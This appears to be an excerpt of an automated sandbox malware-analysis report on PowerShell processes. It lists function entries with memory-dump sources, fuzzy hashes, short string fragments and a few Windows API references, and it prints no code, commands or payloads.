Opcode Fuzzy Hash: 2e04d6ec3fe60911bf552ad92d56e9f08457e7b0f4e80c54c0ca3846391717f7
Instruction Fuzzy Hash: 3FD0C77158D3855FCB01CF14D959545BF506F9321070981DD94448F193DA14D409CB52

Uniqueness

Uniqueness Score: -1.00%

Function 081EF23D Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.266609958898.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_81e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79bcb62f22914cdde0ac6e3e4ca75b9336ba88888a23bd8676a477d9f47fc270
Instruction ID: 84c1e719275b24505bdd7d960ec97c75fc357a62294d81aa58a838d0afca0c66
Opcode Fuzzy Hash: 79bcb62f22914cdde0ac6e3e4ca75b9336ba88888a23bd8676a477d9f47fc270
Instruction Fuzzy Hash: FEB0923BA0400AC9DB048A84B4417EDFB20EB90226F108167D614510408332026986D1

Uniqueness

Uniqueness Score: -1.00%

Function 088DF010 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.266612319415.00000000088D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_88d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb6bfb043c3ea18bd7fbd658ae280a6ed974d9d04cc136b78df4e12ba0e0d05d
Instruction ID: 8a68b237bdb606bd5054ac9304796a354153601a7c2954c95c669d7b393a2a4f
Opcode Fuzzy Hash: eb6bfb043c3ea18bd7fbd658ae280a6ed974d9d04cc136b78df4e12ba0e0d05d
Instruction Fuzzy Hash: 35C080600102514DD304D760CC4C7453F86AB01516F6940D8D0C4DA056C66894C883D4

Uniqueness

Uniqueness Score: -1.00%

Function 082394E0 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.266610339237.0000000008230000.00000040.00000800.00020000.00000000.sdmp, Offset: 08230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8230000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa3235a201bb0fe260959cb9b1d708e6692c76d25554da47b9c6629e3bad1601
Instruction ID: 96a74fec5220f98754945e00ce640a92889f3d2d232068f8612b65c1e83e2114
Opcode Fuzzy Hash: fa3235a201bb0fe260959cb9b1d708e6692c76d25554da47b9c6629e3bad1601
Instruction Fuzzy Hash: B4B092351502088F82009B68E448C4073E8AB08A253114090E10C8B232C621FC008A40

Uniqueness

Uniqueness Score: -1.00%

Function 0823821A Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.266610339237.0000000008230000.00000040.00000800.00020000.00000000.sdmp, Offset: 08230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8230000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be5f90b1ac164611436421eb21483223142c3f0f8ca2ed5015787788f0f16322
Instruction ID: 5820a2285924ba4b6a657c0b068116e5d94123b6179b4a7c94d65c61c384734b
Opcode Fuzzy Hash: be5f90b1ac164611436421eb21483223142c3f0f8ca2ed5015787788f0f16322
Instruction Fuzzy Hash: AEB01230519418C7C6098F90F45A1397731E740303B00019DF90B19180CE111C9086C0

Uniqueness

Uniqueness Score: -1.00%

Function 089B644D Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.266613440890.00000000089B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_89b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a81ce0bd58a7ae847646cab8c1d14da86275d7ec883b1a9f0af91252c5b8d2e
Instruction ID: 2ca83b41338471aa847b91c5f8ac93b18bb5325790df8bfe95d030b548a61040
Opcode Fuzzy Hash: 8a81ce0bd58a7ae847646cab8c1d14da86275d7ec883b1a9f0af91252c5b8d2e
Instruction Fuzzy Hash: DBA022AB20E28083C300EB200C200EC0B22CCF200CFCF8282A2E802203CC388C23C03C

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 089E0006 Relevance: 36.8, Strings: 26, Instructions: 4348COMMON

Download Yara Rule

Strings

$l, xrefs: 089E42D2
$l, xrefs: 089E4792
4'l, xrefs: 089E4057
$l, xrefs: 089E445A
$l, xrefs: 089E47F5
$l, xrefs: 089E45F0
$l, xrefs: 089E0779
4'l, xrefs: 089E284D
4'l, xrefs: 089E2885
$l, xrefs: 089E2751
$l, xrefs: 089E432B
4'l, xrefs: 089E080E
$l, xrefs: 089E48F4
PHl, xrefs: 089E2204
$l, xrefs: 089E4530
$l, xrefs: 089E46F2
$l, xrefs: 089E46BA
$l, xrefs: 089E1AD3
$l, xrefs: 089E26F8
lHl, xrefs: 089E28EF
$l, xrefs: 089E47CA
$l, xrefs: 089E471D
0Ul, xrefs: 089E20F0
$l, xrefs: 089E4898
$l, xrefs: 089E4401
$l, xrefs: 089E03CC

Memory Dump Source

Source File: 0000000A.00000002.266613847594.00000000089E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_89e0000_powershell.jbxd

Similarity

API ID:
String ID: 0Ul$4'l$4'l$4'l$4'l$PHl$lHl$$l$$l$$l$$l$$l$$l$$l$$l$$l$$l$$l$$l$$l$$l$$l$$l$$l$$l$$l
API String ID: 0-4212110121
Opcode ID: a82bd2e94a6a1357a5a1a16a459f86754e356d1823d2834042db41aaf841fa44
Instruction ID: 5c9026c7a4f1ed5fdec3251041ede985a7d5c160eb0685a85b0ea5ef414ad615
Opcode Fuzzy Hash: a82bd2e94a6a1357a5a1a16a459f86754e356d1823d2834042db41aaf841fa44
Instruction Fuzzy Hash: 98A33C78A0521C9FDB54DFA0C854BEE77B7EB84704F0089E9820DAB294DB796E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 089E0040 Relevance: 36.8, Strings: 26, Instructions: 4326COMMON

Download Yara Rule

Strings

$l, xrefs: 089E42D2
$l, xrefs: 089E4792
4'l, xrefs: 089E4057
$l, xrefs: 089E445A
$l, xrefs: 089E47F5
$l, xrefs: 089E45F0
$l, xrefs: 089E0779
4'l, xrefs: 089E284D
4'l, xrefs: 089E2885
$l, xrefs: 089E2751
$l, xrefs: 089E432B
4'l, xrefs: 089E080E
$l, xrefs: 089E48F4
PHl, xrefs: 089E2204
$l, xrefs: 089E4530
$l, xrefs: 089E46F2
$l, xrefs: 089E46BA
$l, xrefs: 089E1AD3
$l, xrefs: 089E26F8
lHl, xrefs: 089E28EF
$l, xrefs: 089E47CA
$l, xrefs: 089E471D
0Ul, xrefs: 089E20F0
$l, xrefs: 089E4898
$l, xrefs: 089E4401
$l, xrefs: 089E03CC

Memory Dump Source

Source File: 0000000A.00000002.266613847594.00000000089E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_89e0000_powershell.jbxd

Similarity

API ID:
String ID: 0Ul$4'l$4'l$4'l$4'l$PHl$lHl$$l$$l$$l$$l$$l$$l$$l$$l$$l$$l$$l$$l$$l$$l$$l$$l$$l$$l$$l
API String ID: 0-4212110121
Opcode ID: 49b38c5bef4c315ded8fd03a21e9b7015c932f29730fbedcbb3ff17d25b861b1
Instruction ID: fe0296f0fba46f6d9ae28e2ace9147fec6640c398c45f1f84bc10628c2430723
Opcode Fuzzy Hash: 49b38c5bef4c315ded8fd03a21e9b7015c932f29730fbedcbb3ff17d25b861b1
Instruction Fuzzy Hash: 49A33C78A0521C9FDB54DFA0C854BEE77B7EB84704F0089E9820DAB294DB796E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0376E949 Relevance: 11.3, Strings: 8, Instructions: 1293COMMON

Download Yara Rule

Strings

$l, xrefs: 0376F3BA
tPl, xrefs: 0376F47A
0oLk, xrefs: 0376FAFA
4cl, xrefs: 0376EBEC
cl, xrefs: 0376EC26
(_l, xrefs: 0376F53A
,kHl, xrefs: 0376EF8D
`Ql, xrefs: 0376F93A

Memory Dump Source

Source File: 0000000A.00000002.266587690701.0000000003760000.00000040.00000800.00020000.00000000.sdmp, Offset: 03760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3760000_powershell.jbxd

Similarity

API ID:
String ID: (_l$,kHl$0oLk$4cl$`Ql$tPl$$l$cl
API String ID: 0-507952463
Opcode ID: a064d17f6ec78d712a1f08adfa0c20038b6f899a11a9cf4e3c31f22ed6d8f13b
Instruction ID: 0db2b1f801079c75710eeaf4be9769392eb3a250e7f8b5ec4d2cff855cb7277d
Opcode Fuzzy Hash: a064d17f6ec78d712a1f08adfa0c20038b6f899a11a9cf4e3c31f22ed6d8f13b
Instruction Fuzzy Hash: 38A2B278B042189FDB58ABF0DC11BFE7567DBC5B08F24826996059F784CF718C828B96

Uniqueness

Uniqueness Score: -1.00%

Function 0376E958 Relevance: 11.3, Strings: 8, Instructions: 1287COMMON

Download Yara Rule

Strings

$l, xrefs: 0376F3BA
tPl, xrefs: 0376F47A
0oLk, xrefs: 0376FAFA
4cl, xrefs: 0376EBEC
cl, xrefs: 0376EC26
(_l, xrefs: 0376F53A
,kHl, xrefs: 0376EF8D
`Ql, xrefs: 0376F93A

Memory Dump Source

Source File: 0000000A.00000002.266587690701.0000000003760000.00000040.00000800.00020000.00000000.sdmp, Offset: 03760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3760000_powershell.jbxd

Similarity

API ID:
String ID: (_l$,kHl$0oLk$4cl$`Ql$tPl$$l$cl
API String ID: 0-507952463
Opcode ID: 08059f9e51927adde1ad73d9c7b788649e4a636c3b95dd37a54a0ea86d2630e6
Instruction ID: aee19ca2da546c2e84fcf5e3288f0ce28b5c2f5e09befae765b37f84263914aa
Opcode Fuzzy Hash: 08059f9e51927adde1ad73d9c7b788649e4a636c3b95dd37a54a0ea86d2630e6
Instruction Fuzzy Hash: C6A2B278B042189FDB58ABF0DC11BFE7567DBC5B08F24826996059F784CF718C828B96

Uniqueness

Uniqueness Score: -1.00%

Function 088D9928 Relevance: 5.0, Strings: 2, Instructions: 2493COMMON

Download Yara Rule

Strings

$l, xrefs: 088D9B89
$l, xrefs: 088D9B9F

Memory Dump Source

Source File: 0000000A.00000002.266612319415.00000000088D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_88d0000_powershell.jbxd

Similarity

API ID:
String ID: $l$$l
API String ID: 0-185481492
Opcode ID: 546b94c22e0cab76edb6ca8231a655e08a2e5b052b7f1baf57240247a373898e
Instruction ID: 5fd0a3a273266c09fe76e130050f3a0cdfa9a05a178f9f67c7c035ba81ac6e4c
Opcode Fuzzy Hash: 546b94c22e0cab76edb6ca8231a655e08a2e5b052b7f1baf57240247a373898e
Instruction Fuzzy Hash: 0A431778A002188FDB59DB60C950BAA77B3EF89304F2485A8C9096F795CF369E81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 088DF380 Relevance: 4.3, Strings: 3, Instructions: 525COMMON

Download Yara Rule

Strings

, xrefs: 088DF46E
,l, xrefs: 088DF750
,l, xrefs: 088DF64E

Memory Dump Source

Source File: 0000000A.00000002.266612319415.00000000088D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_88d0000_powershell.jbxd

Similarity

API ID:
String ID: $,l$,l
API String ID: 0-2981754190
Opcode ID: d3cd64a44fee54448859c0529d6e0329e797c2c5137e055c26807a1498a25593
Instruction ID: 4b169b88311feb77593ff014af8e6b45eb5bfcc24762de11d3dd3b68557bf4aa
Opcode Fuzzy Hash: d3cd64a44fee54448859c0529d6e0329e797c2c5137e055c26807a1498a25593
Instruction Fuzzy Hash: 50124735B002089FDB24DB74C854AAE7BF6AF89609F24806DD906EB795DF34DC42CB91

Uniqueness

Uniqueness Score: -1.00%

Function 081E7B20 Relevance: 3.4, Strings: 2, Instructions: 916COMMON

Download Yara Rule

Strings

PHl, xrefs: 081E8A51
4'l, xrefs: 081E7DA9

Memory Dump Source

Source File: 0000000A.00000002.266609958898.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_81e0000_powershell.jbxd

Similarity

API ID:
String ID: 4'l$PHl
API String ID: 0-1540158866
Opcode ID: 3e58c97185e59a91209ffd74fa7ee10d8ec1eedc2a466527f4fcd9098827c96c
Instruction ID: babfe3634fd96870f6be4dc45cfd74aa78d41bde34acfc8b055659b13a9485c6
Opcode Fuzzy Hash: 3e58c97185e59a91209ffd74fa7ee10d8ec1eedc2a466527f4fcd9098827c96c
Instruction Fuzzy Hash: 3BA2A574A01219CFDB65DF68C998B9DB7B2BF49301F1085E9E909AB360DB319E81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 081E9A70 Relevance: 2.8, Strings: 2, Instructions: 282COMMON

Download Yara Rule

Strings

$l, xrefs: 081E9AA7
$l, xrefs: 081E9ABE

Memory Dump Source

Source File: 0000000A.00000002.266609958898.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_81e0000_powershell.jbxd

Similarity

API ID:
String ID: $l$$l
API String ID: 0-185481492
Opcode ID: cc512c983baa66812e78857fbdf21a56583d58cb89eea7a6f884b0707b16f4f6
Instruction ID: 1f4c81e62c392cdf383265202acdc69a1a2bc840133f144c93263ae7b2c03a7a
Opcode Fuzzy Hash: cc512c983baa66812e78857fbdf21a56583d58cb89eea7a6f884b0707b16f4f6
Instruction Fuzzy Hash: 93B1CF74A006489FCB15DFA5D858BAEBFF6FF89301F14842DE906AB391CB349841CB65

Uniqueness

Uniqueness Score: -1.00%

Function 089EB198 Relevance: 2.0, Strings: 1, Instructions: 700COMMON

Download Yara Rule

Strings

$l, xrefs: 089EB411

Memory Dump Source

Source File: 0000000A.00000002.266613847594.00000000089E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_89e0000_powershell.jbxd

Similarity

API ID:
String ID: $l
API String ID: 0-780880711
Opcode ID: cc55164b6103fd4cf0557df49d832a8b6c9f4cdfeeb39b228ca2bbc833e5c0e9
Instruction ID: 5fd758a83faa190398a96f5185abbd629e4cc17aab3cf63e2af293418bebb2cf
Opcode Fuzzy Hash: cc55164b6103fd4cf0557df49d832a8b6c9f4cdfeeb39b228ca2bbc833e5c0e9
Instruction Fuzzy Hash: F1624C78A002188FDB54DBA4D854BEE77B2EF89305F2185ADC109AB391DF39AD41CF61

Uniqueness

Uniqueness Score: -1.00%

Function 089B284A Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

4'l, xrefs: 089B2ABD

Memory Dump Source

Source File: 0000000A.00000002.266613440890.00000000089B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_89b0000_powershell.jbxd

Similarity

API ID:
String ID: 4'l
API String ID: 0-146342601
Opcode ID: ad4cc983edf6fce5d4edcca67a2a152a10ee2beadaef028d1210149c5ccc5a10
Instruction ID: 1ddca3d5284f40b91919ebabf5127b2ea85760ca5c64f61c949ef80983ed2a6d
Opcode Fuzzy Hash: ad4cc983edf6fce5d4edcca67a2a152a10ee2beadaef028d1210149c5ccc5a10
Instruction Fuzzy Hash: 8822E778A042588FCB54EBB4C8557EEB7B2FF84304F1189A8D10AAF354DB399E458F91

Uniqueness

Uniqueness Score: -1.00%

Function 089B2858 Relevance: 1.7, Strings: 1, Instructions: 491COMMON

Download Yara Rule

Strings

4'l, xrefs: 089B2ABD

Memory Dump Source

Source File: 0000000A.00000002.266613440890.00000000089B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_89b0000_powershell.jbxd

Similarity

API ID:
String ID: 4'l
API String ID: 0-146342601
Opcode ID: ab0e0afd464cdefc6b7f6bc95a8fec8e50744db7f075bb6eaee63920eda389de
Instruction ID: 68617048bda37cdb60748a9a34f406ab45e2d2316678d7630abf6d039e7e485e
Opcode Fuzzy Hash: ab0e0afd464cdefc6b7f6bc95a8fec8e50744db7f075bb6eaee63920eda389de
Instruction Fuzzy Hash: 3E22E778A042588FCB54EBA4C8557EEB7B2FF84304F1189A8D10AAB354DB399E458F91

Uniqueness

Uniqueness Score: -1.00%

Function 088DF374 Relevance: 1.5, Strings: 1, Instructions: 246COMMON

Download Yara Rule

Strings

,l, xrefs: 088DF64E

Memory Dump Source

Source File: 0000000A.00000002.266612319415.00000000088D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_88d0000_powershell.jbxd

Similarity

API ID:
String ID: ,l
API String ID: 0-1755907662
Opcode ID: 3e015ad762634aed90c39ccd77b68381cc5f0f691610b480a32048ad78760cb5
Instruction ID: e7bd684c6563ee8758913bd2fc0c868cdc8e8b40f5b1984be38d27cf282b7d2b
Opcode Fuzzy Hash: 3e015ad762634aed90c39ccd77b68381cc5f0f691610b480a32048ad78760cb5
Instruction Fuzzy Hash: 8D914674A002189FDB24DFA8C854AAEBBF6EF88605F24806DD906EB755DF34DC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 088DD5E0 Relevance: .4, Instructions: 399COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.266612319415.00000000088D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_88d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7283787c7833c264b7d36e03ce908f13aa22db7450daa7096d3485d57492659f
Instruction ID: a1cc4710fb303d10ad888301cc0b3be771a89181badebe2b1f66097045bdc75a
Opcode Fuzzy Hash: 7283787c7833c264b7d36e03ce908f13aa22db7450daa7096d3485d57492659f
Instruction Fuzzy Hash: 8DD15C75B002089FCB14EBB4D850AAEB7B7AFC9215B25C53DD406EB744DF399C028BA5

Uniqueness

Uniqueness Score: -1.00%

Function 088D3258 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.266612319415.00000000088D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 088D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_88d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d810eb2d774a4a66edfd6a4b9460b42a7fd0db24ee5b4026847ff2377a795a9c
Instruction ID: 013d2f198b0febdce191ce74752f2651209617bc288393bda7a5ae0bef43aca3
Opcode Fuzzy Hash: d810eb2d774a4a66edfd6a4b9460b42a7fd0db24ee5b4026847ff2377a795a9c
Instruction Fuzzy Hash: 85818C34B043498BDB19CFA5C9506AEBBB2AF84305F14802DE906EB785EB74D946CB41

Uniqueness

Uniqueness Score: -1.00%

Function 08232720 Relevance: 9.1, Strings: 7, Instructions: 357COMMON

Download Yara Rule

Strings

4'l, xrefs: 08232DA7
4'l, xrefs: 08232DE9
4'l, xrefs: 08232CAA
$l, xrefs: 08232D7C
4'l, xrefs: 08232D8A
4'l, xrefs: 08232A0B
4'l, xrefs: 082329DB

Memory Dump Source

Source File: 0000000A.00000002.266610339237.0000000008230000.00000040.00000800.00020000.00000000.sdmp, Offset: 08230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8230000_powershell.jbxd

Similarity

API ID:
String ID: 4'l$4'l$4'l$4'l$4'l$4'l$$l
API String ID: 0-1842944567
Opcode ID: 5d241ce7b4abfcd4cf038f8e26b48f1dbd6b89d13f4d148a8c8f9fa20c1d4f47
Instruction ID: dc84972b021b04b106129eca7e74a28c7d133a32ff155d539f569cb87a449cec
Opcode Fuzzy Hash: 5d241ce7b4abfcd4cf038f8e26b48f1dbd6b89d13f4d148a8c8f9fa20c1d4f47
Instruction Fuzzy Hash: EAE11878B102189FCB44DBA8D590AEEB7B3EF88204F20857DD506AB355DF35AD068B91

Uniqueness

Uniqueness Score: -1.00%

Function 0823A410 Relevance: 5.2, Strings: 4, Instructions: 192COMMON

Download Yara Rule

Strings

$l, xrefs: 0823A563
$l, xrefs: 0823A63E
$l, xrefs: 0823A5AC
$l, xrefs: 0823A5F5

Memory Dump Source

Source File: 0000000A.00000002.266610339237.0000000008230000.00000040.00000800.00020000.00000000.sdmp, Offset: 08230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_8230000_powershell.jbxd

Similarity

API ID:
String ID: $l$$l$$l$$l
API String ID: 0-1882037443
Opcode ID: 8847387b56e918cce9e605969e149c5451180a1679ffc51096108cfdd286f6e9
Instruction ID: b44117fc3a6d26fb91a606b06ee48c304cd68e92ef8718d85aacd5939be23a55
Opcode Fuzzy Hash: 8847387b56e918cce9e605969e149c5451180a1679ffc51096108cfdd286f6e9
Instruction Fuzzy Hash: 857157B4B20629CFCB18DF69D9A09ADB7F6BF88201B158579D406EB364DB30EC01CB50

Uniqueness

Uniqueness Score: -1.00%

Function 089F030B Relevance: 5.0, Strings: 4, Instructions: 45COMMON

Download Yara Rule

Strings

$l, xrefs: 089F0352
$l, xrefs: 089F035E
4'l, xrefs: 089F0373
4'l, xrefs: 089F037F

Memory Dump Source

Source File: 0000000A.00000002.266614003052.00000000089F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 089F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_89f0000_powershell.jbxd

Similarity

API ID:
String ID: 4'l$4'l$$l$$l
API String ID: 0-426872421
Opcode ID: 425005e5efe8a6aa5424447e972b135f196c315ececa36ac774816ef42814fd1
Instruction ID: ce287bc1b83b3f8b76cb1340952d57c32dccb6034fd1a0bde81e8b88ad91cfe7
Opcode Fuzzy Hash: 425005e5efe8a6aa5424447e972b135f196c315ececa36ac774816ef42814fd1
Instruction Fuzzy Hash: 38014E523097918FC71E31691826079AB6A8FD154576944BFC180DF797CAB48C078797

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 6132, Parent PID: 5016COMMON

Execution Graph

Execution Coverage:	6.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	512
Total number of Limit Nodes:	41

Executed Functions

Function 08010898 Relevance: 2.2, Strings: 1, Instructions: 900COMMON

Download Yara Rule

Strings

`Ql, xrefs: 08010EA0

Memory Dump Source

Source File: 00000013.00000002.268530654434.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_8010000_powershell.jbxd

Similarity

API ID:
String ID: `Ql
API String ID: 0-3912523079
Opcode ID: 50d073b12be43a06140d5a0c6d50bbf22f85268bef7e52aeb8a0ce653202bac4
Instruction ID: aa7475f9a05cdbc35d7d585c72920fc5647d52c8825c21801545adf5bbc73fe2
Opcode Fuzzy Hash: 50d073b12be43a06140d5a0c6d50bbf22f85268bef7e52aeb8a0ce653202bac4
Instruction Fuzzy Hash: 83824834A00219CFDF54DF64C894BAEB7B2BF89315F5085A9E94AAB290DB34DD81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 08011F00 Relevance: 2.0, Strings: 1, Instructions: 799
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(l, xrefs: 080122B1

Memory Dump Source

Source File: 00000013.00000002.268530654434.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_8010000_powershell.jbxd

Similarity

API ID:
String ID: (l
API String ID: 0-3974301876
Opcode ID: cf7c490d57b3bb110e1d7cd8c8366c16695d87f68072ebb9b5a0eed9896d197e
Instruction ID: 70b34de3698619925c6629d004bd0d110e27da88fbf8851a057eba7f58c3a090
Opcode Fuzzy Hash: cf7c490d57b3bb110e1d7cd8c8366c16695d87f68072ebb9b5a0eed9896d197e
Instruction Fuzzy Hash: C7629035A002098FDB54DFA8C444A9EB7F7FF85319F148969E806AB360DB70ED46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04ABFC50 Relevance: 1.7, APIs: 1, Instructions: 217
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.268512542216.0000000004AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4ab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c79f304866fad782733403e9205947056baf1d0f36ad0eadb7a86336722a553
Instruction ID: 2f5aeb813e0e655be877b2906092670690213a0fe6b78c3bbc80755183e72b49
Opcode Fuzzy Hash: 9c79f304866fad782733403e9205947056baf1d0f36ad0eadb7a86336722a553
Instruction Fuzzy Hash: F3917E70D002598FEB24DFA4C844BDEBBF9AF44308F1484AAD449EB281DB756D85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04ABE79C Relevance: 1.6, APIs: 1, Instructions: 109COMMON

Download Yara Rule

APIs

IdentifyCodeAuthzLevelW.ADVAPI32(00000001,?,?,00000000), ref: 04ABFF12

Memory Dump Source

Source File: 00000013.00000002.268512542216.0000000004AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4ab0000_powershell.jbxd

Similarity

API ID: AuthzCodeIdentifyLevel
String ID:
API String ID: 1431151113-0
Opcode ID: b234ebc62b92b15822a4fb3e73a549f04339f28f25f9af8cada05903bba6b5cd
Instruction ID: faede70b428ce570f89a5dc5a67fb96fbeb64f297373339d35ef4a9260bffc7c
Opcode Fuzzy Hash: b234ebc62b92b15822a4fb3e73a549f04339f28f25f9af8cada05903bba6b5cd
Instruction Fuzzy Hash: CF41F870901269DFEB24CF99C884BDDBBB5AB48304F1485EAD44DB7241D7746E84CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 04ABFDF4 Relevance: 1.6, APIs: 1, Instructions: 109COMMON

Download Yara Rule

APIs

IdentifyCodeAuthzLevelW.ADVAPI32(00000001,?,?,00000000), ref: 04ABFF12

Memory Dump Source

Source File: 00000013.00000002.268512542216.0000000004AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4ab0000_powershell.jbxd

Similarity

API ID: AuthzCodeIdentifyLevel
String ID:
API String ID: 1431151113-0
Opcode ID: f51fd601a594d07ae9057e59e4dd60031d3f1694055a15339d8a292d6b19b6ba
Instruction ID: e3090c14bfc9e53949c35b173e8a18aa3562f3ec743d3ea19f40208024c132af
Opcode Fuzzy Hash: f51fd601a594d07ae9057e59e4dd60031d3f1694055a15339d8a292d6b19b6ba
Instruction Fuzzy Hash: 8741F77080126ADFEB24CFA9C884BD9BBB5BB49304F1485EAD44DB7241D7745A84CF60

Uniqueness

Uniqueness Score: -1.00%

Function 04AB6644 Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000000), ref: 04AB6EE8

Memory Dump Source

Source File: 00000013.00000002.268512542216.0000000004AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4ab0000_powershell.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: a57b19c9451e47b637d1051cbe2fe54ed29c3a88eee66b232851c10f753c193a
Instruction ID: a49d5c94a5348229fe5153e2e6665b2cb9fd40fddfe852940d492ca8ba883a60
Opcode Fuzzy Hash: a57b19c9451e47b637d1051cbe2fe54ed29c3a88eee66b232851c10f753c193a
Instruction Fuzzy Hash: 4D2147B1D006199BCB10CFA9D8446EEFBF8EB48324F14852AD818B7300D774A904CFE2

Uniqueness

Uniqueness Score: -1.00%

Function 04AB6E70 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000000), ref: 04AB6EE8

Memory Dump Source

Source File: 00000013.00000002.268512542216.0000000004AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4ab0000_powershell.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 569ad8f07848a33e14abfc317aa9342ddf3bbdc32aa492d50519462d3bea4012
Instruction ID: 132b25ba74c5ccfd103eadb8b355916584f4900391422f05acb7b4fb1b98d47b
Opcode Fuzzy Hash: 569ad8f07848a33e14abfc317aa9342ddf3bbdc32aa492d50519462d3bea4012
Instruction Fuzzy Hash: 351114B5D0065A9BCB10CFA9D9446DEFBB8FB48324F14852AD818B7600C774A944CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 089DC8B8 Relevance: .3, Instructions: 322COMMON

